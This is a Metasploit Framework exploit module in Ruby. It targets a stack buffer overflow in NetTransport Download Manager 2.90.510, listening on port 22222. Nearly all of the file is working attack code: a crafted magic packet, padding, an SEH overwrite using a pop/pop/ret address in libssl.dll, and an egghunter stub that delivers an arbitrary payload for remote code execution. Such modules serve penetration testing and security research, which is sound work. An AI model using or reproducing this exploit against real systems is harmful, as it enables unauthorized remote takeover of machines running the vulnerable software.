metasploit-framework/modules/exploits/windows/misc/nettransport.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Egghunter
include Msf::Exploit::Remote::Seh
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def initialize(info = {})
super(update_info(info,
'Name' => 'NetTransport Download Manager 2.90.510 Buffer Overflow',
'Description' => %q{
This exploits a stack buffer overflow in NetTransport Download Manager,
part of the NetXfer suite. This module was tested
successfully against version 2.90.510.
},
'Author' =>
[
'Lincoln',
'dookie',
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '61435' ],
[ 'EDB', '10911'],
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'seh'
},
'Payload' =>
{
'Space' => 5000,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
'DisableNops' => 'True'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => 0x10002a57 } ], # p/p/r libssl.dll
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 02 2010'))
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register_options(
[
Opt::RPORT(22222)
], self.class)
end
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def exploit
connect
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magic_packet = "\xe3\x3d\x00\x00\x00\x01\xee\x4f\x08\xe3\x00\x0e\xae\x41\xb0\x24"
magic_packet << "\x89\x38\x1c\xc7\x6f\x6e\x00\x00\x00\x00\xaf\x8d\x04\x00\x00\x00"
magic_packet << "\x02\x01\x00\x01\x04\x00\x74\x65\x73\x74\x03\x01\x00\x11\x3c\x00"
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# Unleash the Egghunter!
eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
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sploit = magic_packet
sploit << rand_text_alpha_upper(119)
sploit << generate_seh_record(target.ret)
sploit << make_nops(10)
sploit << eh_stub
sploit << make_nops(50)
sploit << eh_egg
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print_status("Trying target #{target.name}...")
sock.put(sploit)
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handler
disconnect
end
end